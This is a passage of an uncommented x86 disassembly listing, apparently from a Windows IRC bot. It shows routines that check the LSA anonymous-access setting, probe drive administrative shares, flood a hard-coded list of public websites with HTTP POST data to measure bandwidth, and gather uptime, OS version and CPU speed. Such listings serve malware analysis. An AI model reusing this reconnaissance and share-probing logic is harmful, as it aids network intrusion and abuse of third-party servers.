		lea	eax, [ebp+var_220]
		push	offset dword_439C28
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D94
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D5C

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439D20
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B38

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_439A00
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439D00
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CD8

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_439A10
		jb	short loc_41A321
		call	near ptr 2840C0Ah
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB004
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439D00
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CD8

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439CA8
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 26A0DE3h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43384C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E48
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26A0DE3h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB270
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 26E0570h
		nop
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26904AEh
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D158
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26E0570h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_4312AC

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_4312A8
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_4312A4
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_4312A0
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43129C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431298
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431290

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437864
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A13C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2731644h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 2850000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
